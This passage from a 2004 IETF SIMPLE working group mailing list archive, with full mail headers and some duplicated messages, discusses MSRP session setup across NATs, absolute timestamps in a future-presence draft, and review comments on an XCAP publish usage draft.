>>+----------------------------------------------+
>>
>>/a
>>
>>
>>>-----Original Message-----
>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>Sent: Friday, February 27, 2004 0:50
>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>Cc: simple@ietf.org
>>>Subject: MSRP & Comedia
>>>
>>>
>>>
>>>This is a half baked idea that I am just tossing out as food
>>>for thought
>>>
>>>Consider a systems where something like the UA that sends the
>>>answer sends
>>>the VISIT. 
>>>
>>>Consider the cases where A want to set up a MSRP session with B.
>>>
>>>A is behind a NAT and does not want to use a relay. A sends
>>>an INVITE with
>>>no offer. B sends an offer, gets back an answer and A sends the VISIT.
>>>A -> inv    -> B
>>>A <- offer  <- B
>>>A -> answer -> B
>>>A -> visit  -> B
>>>
>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>A sends VISIT.
>>>A -> offer  -> B
>>>A <- answer <- B
>>>A <- visit  <- B
>>>
>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>relay is needed
>>>and gets one and sends offer.
>>>
>>>The underlying principal is basically if you don't know what
>>>port you are
>>>going to receive media at (which is the case with a NAT) you
>>>should not be
>>>making any offers and if you make an offer the assumption is
>>>that the other
>>>side and send media (a VISIT) to that and have it work.
>>>
>>>The fundamental thing I am trying to avoid is two vendors
>>>both saying they
>>>have MSRP compliant systems yet still having them fail to be
>>>able to talk to
>>>each other because they both expect the other one to host.
>>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 19:40:53 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13802
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 19:40:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKRR-0006IC-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:40:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKQV-00068b-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:39:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKPf-00060b-00; Tue, 02 Mar 2004 19:39:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKPd-0001iD-Dy; Tue, 02 Mar 2004 19:39:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKOf-0001Wt-UA
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:38:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13603
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:38:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKOe-0005rG-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:38:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKNk-0005jI-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:37:05 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKMz-0005ap-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:36:18 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i230aAIw064617;
	Tue, 2 Mar 2004 18:36:11 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <404527A6.1060609@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Brian Stucker <bstucker@nortelnetworks.com>,
        Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECE9B@zrc2c012.us.nortel.com> <4043669D.2020308@dynamicsoft.com>
In-Reply-To: <4043669D.2020308@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:32:38 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I agree. Further, if I recall correctly, the main reason we have tried 
to get rid of absolute times elswhere is because of clock sync issues, 
isn't it? Future presence times should not require a high level of 
accuracy. As long as clocks are in vague agreement, we should be okay.

Jonathan Rosenberg wrote:
> Yes, I think you need them.
> 
> The reason is that, if you used relative timestamps, then the timestamps 
> need to be recomputed every time the presence document is fetched or 
> sent in a notify. This requires a "re-encoding" of the document into XML 
> from whatever internal form is being used, and ends up being very 
> expensive. Plus, without absolute timestamps, the document doesnt stand 
> on its own. It would only be defined relative to the time of delivery in 
> a transport protocol. That would prohibit me from putting such a doc on 
> a web page, if I so desired (for example).
> 
> -Jonathan R.
> 
> Brian Stucker wrote:
> 
>> On a similar note... I didn't want to bring this up during the meeting 
>> today because of the compressed schedule, but are we really happy with 
>> using absolute time stamps? I'm a bit worried about using them when 
>> we've gone back and gotten rid of them elsewhere in the protocol. Am I 
>> just being paranoid?
>>
>> Regards,
>>
>> Brian
>>
>> -----Original Message-----
>> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
>> Sent: Monday, March 01, 2004 9:09 AM
>> To: Paul Kyzivat
>> Cc: Simple WG
>> Subject: Re: [Simple] Comments on draft-ietf-simple-future
>>
>>
>>
>>
>> Paul Kyzivat wrote:
>>
>>  >
>>  >
>>  > Jonathan Rosenberg wrote:
>>  >
>>  >>>  Future status cannot be expressed with <tuples> elements with
>>  >>>    optional extensions since PIDF parsers would not be able to
>>  >>>    distinguish current from future or past information.
>>  >>
>>  >>
>>  >>
>>  >> I think you mean <tuple> elements. In any case, this text is not 
>> quite
>>  >> right. You are in fact extending <tuple> with an optional extension,
>>  >> <future-status>. What I think you mean is that you cannot just extend
>>  >> an existing element, like <activity>, with attributes that define the
>>  >> future status, because these would not be understood and thus
>>  >> misinterpreted as current status.
>>  >
>>  >
>>  > Not only can't, but don't want to. The goal is to provide a way to use
>>  > all the normal attributes that define current status to define future
>>  > status as well. So the goal is to provide a separate context in which
>>  > the existing elements may be used where they won't be misunderstood by
>>  > those who don't understand this extension.
>>  >
>>  >> Unfortunately, the nature of the schemas is that the new one cannot
>>  >> say where in the PIDF document this is supposed to go. You need to
>>  >> specify that this element MUST be a child of <tuple>. Also, can you
>>  >> have more than one (I think so)? In that case, can they represent
>>  >> overlapping times (I think so)?
>>  >
>>  >
>>  > That is an ugly case, because when there is an overlap, which takes
>>  > precedence?
>>
>> I had in mind cases where the attributes in the overlapping time-spaces
>> themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a
>> meeting> from 1030am to noon.
>>
>> I suppose we could just mandate that the PA only generate notifications
>> with non-overlapping intervals. This forces the PA to do any kind of
>> precedence computations. I think the PA is the only one that can do it.
>>
>> -Jonathan R.
>>
>>
>>
>> -- 
>> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
>> Chief Technology Officer                    Parsippany, NJ 07054-2711
>> dynamicsoft
>> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>> http://www.jdrosen.net                      PHONE: (973) 952-5000
>> http://www.dynamicsoft.com
>>
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>>
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 19:41:26 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13861
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 19:41:26 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKRV-00022n-87
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 19:40:57 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i230eveE007797
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 19:40:57 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKRT-00021Y-Sj
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 19:40:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13820
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 19:40:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKRS-0006IH-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:40:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKQW-00068j-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:39:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKPf-00060b-00; Tue, 02 Mar 2004 19:39:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKPd-0001iD-Dy; Tue, 02 Mar 2004 19:39:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKOf-0001Wt-UA
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:38:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13603
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:38:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKOe-0005rG-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:38:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKNk-0005jI-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:37:05 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKMz-0005ap-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:36:18 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i230aAIw064617;
	Tue, 2 Mar 2004 18:36:11 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <404527A6.1060609@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Brian Stucker <bstucker@nortelnetworks.com>,
        Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECE9B@zrc2c012.us.nortel.com> <4043669D.2020308@dynamicsoft.com>
In-Reply-To: <4043669D.2020308@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:32:38 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I agree. Further, if I recall correctly, the main reason we have tried 
to get rid of absolute times elswhere is because of clock sync issues, 
isn't it? Future presence times should not require a high level of 
accuracy. As long as clocks are in vague agreement, we should be okay.

Jonathan Rosenberg wrote:
> Yes, I think you need them.
> 
> The reason is that, if you used relative timestamps, then the timestamps 
> need to be recomputed every time the presence document is fetched or 
> sent in a notify. This requires a "re-encoding" of the document into XML 
> from whatever internal form is being used, and ends up being very 
> expensive. Plus, without absolute timestamps, the document doesnt stand 
> on its own. It would only be defined relative to the time of delivery in 
> a transport protocol. That would prohibit me from putting such a doc on 
> a web page, if I so desired (for example).
> 
> -Jonathan R.
> 
> Brian Stucker wrote:
> 
>> On a similar note... I didn't want to bring this up during the meeting 
>> today because of the compressed schedule, but are we really happy with 
>> using absolute time stamps? I'm a bit worried about using them when 
>> we've gone back and gotten rid of them elsewhere in the protocol. Am I 
>> just being paranoid?
>>
>> Regards,
>>
>> Brian
>>
>> -----Original Message-----
>> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
>> Sent: Monday, March 01, 2004 9:09 AM
>> To: Paul Kyzivat
>> Cc: Simple WG
>> Subject: Re: [Simple] Comments on draft-ietf-simple-future
>>
>>
>>
>>
>> Paul Kyzivat wrote:
>>
>>  >
>>  >
>>  > Jonathan Rosenberg wrote:
>>  >
>>  >>>  Future status cannot be expressed with <tuples> elements with
>>  >>>    optional extensions since PIDF parsers would not be able to
>>  >>>    distinguish current from future or past information.
>>  >>
>>  >>
>>  >>
>>  >> I think you mean <tuple> elements. In any case, this text is not 
>> quite
>>  >> right. You are in fact extending <tuple> with an optional extension,
>>  >> <future-status>. What I think you mean is that you cannot just extend
>>  >> an existing element, like <activity>, with attributes that define the
>>  >> future status, because these would not be understood and thus
>>  >> misinterpreted as current status.
>>  >
>>  >
>>  > Not only can't, but don't want to. The goal is to provide a way to use
>>  > all the normal attributes that define current status to define future
>>  > status as well. So the goal is to provide a separate context in which
>>  > the existing elements may be used where they won't be misunderstood by
>>  > those who don't understand this extension.
>>  >
>>  >> Unfortunately, the nature of the schemas is that the new one cannot
>>  >> say where in the PIDF document this is supposed to go. You need to
>>  >> specify that this element MUST be a child of <tuple>. Also, can you
>>  >> have more than one (I think so)? In that case, can they represent
>>  >> overlapping times (I think so)?
>>  >
>>  >
>>  > That is an ugly case, because when there is an overlap, which takes
>>  > precedence?
>>
>> I had in mind cases where the attributes in the overlapping time-spaces
>> themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a
>> meeting> from 1030am to noon.
>>
>> I suppose we could just mandate that the PA only generate notifications
>> with non-overlapping intervals. This forces the PA to do any kind of
>> precedence computations. I think the PA is the only one that can do it.
>>
>> -Jonathan R.
>>
>>
>>
>> -- 
>> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
>> Chief Technology Officer                    Parsippany, NJ 07054-2711
>> dynamicsoft
>> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>> http://www.jdrosen.net                      PHONE: (973) 952-5000
>> http://www.dynamicsoft.com
>>
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>>
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 19:53:03 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14837
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 19:53:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKdC-0000c1-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:53:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKcG-0000PT-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:52:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKbI-0000Cg-00; Tue, 02 Mar 2004 19:51:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKbG-0004ZT-Lz; Tue, 02 Mar 2004 19:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKaJ-0004G0-4B
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:50:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14496
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:50:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKaH-0007my-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:50:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKZI-0007dI-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:49:01 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKYf-0007TM-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:48:21 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i230liLc021663
	for <simple@ietf.org>; Tue, 2 Mar 2004 18:47:44 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 2 Mar 2004 18:43:08 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYMRBRJ>; Tue, 2 Mar 2004 18:47:35 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95BF@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400B9.00561DD0"
X-OriginalArrivalTime: 03 Mar 2004 00:43:08.0875 (UTC) FILETIME=[7FA579B0:01C400B8]
Subject: [Simple] Comments on draft-isomaki-simple-xcap-publish-usage-00
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 18:46:45 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,HTML_MESSAGE autolearn=no 
	version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400B9.00561DD0
Content-Type: text/plain;
	charset="iso-8859-1"


Hi Markus,

I have some comments on your draft:

1) Although you indicate that this should be used only for hard states, what is there to prevent users from manipulating other presence states in there through XCAP.

2) XCAP is meant to be used for documents that are created to take advantage of the defined XCAP rules for HTTP URI creation. Which XML presence documents in particular are you proposing that they get manipulated by XCAP.  
How do you ensure that the current XCAP rules are suffiicient for the purpose you have in mind. I also doubt that you can use the current XML presence documents (PIDF and extensions) for XCAP purposes as is. For example, should there not be the element mandatory-ns, in there, as per the XCAP framework.

3) Is this template meant to be a generic template to be used by all applications that want to use XCAP.

4) Finally, I believe that there are other, out-of-band means, to accomplish your goals, i.e. manipulate hard states, without the unwarranted complexities that the draft creates. Thus, there must be explicit references in the draft to that fact.  

/gf
Ericsson Canada
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

------_=_NextPart_001_01C400B9.00561DD0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; charset=3Diso-885=
9-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version 5.5.2655.3=
5">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT FACE=3D"Times New Roman">Hi Markus,</FONT>
</P>

<P><FONT FACE=3D"Times New Roman">I have some comments on your draft:</FO=
NT>
</P>

<P><FONT FACE=3D"Times New Roman">1) Although you indicate that this shou=
ld be used only for hard states, what is there to prevent users from mani=
pulating other presence states in there through XCAP.</FONT></P>

<P><FONT FACE=3D"Times New Roman">2) XCAP is meant to be used for documen=
ts that are created to take advantage of the defined XCAP rules for HTTP =
URI creation. Which XML presence documents in particular are you proposin=
g that they get manipulated by XCAP.&nbsp; </FONT></P>

<P><FONT FACE=3D"Times New Roman">How do you ensure that the current XCAP=
 rules are suffiicient for the purpose you have in mind. I also doubt tha=
t you can use the current XML presence documents (PIDF and extensions) fo=
r XCAP purposes as is. For example, should there not be the element manda=
tory-ns, in there, as per the XCAP framework.</FONT></P>

<P><FONT FACE=3D"Times New Roman">3) Is this template meant to be a gener=
ic template to be used by all applications that want to use XCAP.</FONT>
</P>

<P><FONT FACE=3D"Times New Roman">4) Finally, I believe that there are ot=
her, out-of-band means, to accomplish your goals, i.e. manipulate hard st=
ates, without the unwarranted complexities that the draft creates. Thus, =
there must be explicit references in the draft to that fact.&nbsp; </FONT=
></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">/gf</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Ericsson Canada</FONT>
</P>

 <br><br>This communication is confidential and intended solely for the a=
ddressee(s). Any unauthorized review, use, disclosure or distribution is =
prohibited. If you believe this message has been sent to you in error, pl=
ease notify the sender by replying to this transmission and delete the me=
ssage without disclosing it. Thank you.<br><br>E-mail including attachmen=
ts is susceptible to data corruption, interruption, unauthorized amendmen=
t, tampering and viruses, and we only send and receive e-mails on the bas=
is that we are not liable for any such corruption, interception, amendmen=
t, tampering or viruses or any consequences thereof.</BODY>
</HTML>=

------_=_NextPart_001_01C400B9.00561DD0--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 19:53:37 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14916
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 19:53:37 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKdI-0004ou-NT
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 19:53:08 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i230r8GJ018527
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 19:53:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKdI-0004ok-Hm
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 19:53:08 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14855
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 19:53:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKdG-0000cY-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:53:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKcH-0000Pf-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:52:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKbI-0000Cg-00; Tue, 02 Mar 2004 19:51:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKbG-0004ZT-Lz; Tue, 02 Mar 2004 19:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKaJ-0004G0-4B
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:50:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14496
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:50:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKaH-0007my-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:50:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKZI-0007dI-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:49:01 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKYf-0007TM-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:48:21 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i230liLc021663
	for <simple@ietf.org>; Tue, 2 Mar 2004 18:47:44 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 2 Mar 2004 18:43:08 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYMRBRJ>; Tue, 2 Mar 2004 18:47:35 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95BF@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400B9.00561DD0"
X-OriginalArrivalTime: 03 Mar 2004 00:43:08.0875 (UTC) FILETIME=[7FA579B0:01C400B8]
Subject: [Simple] Comments on draft-isomaki-simple-xcap-publish-usage-00
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
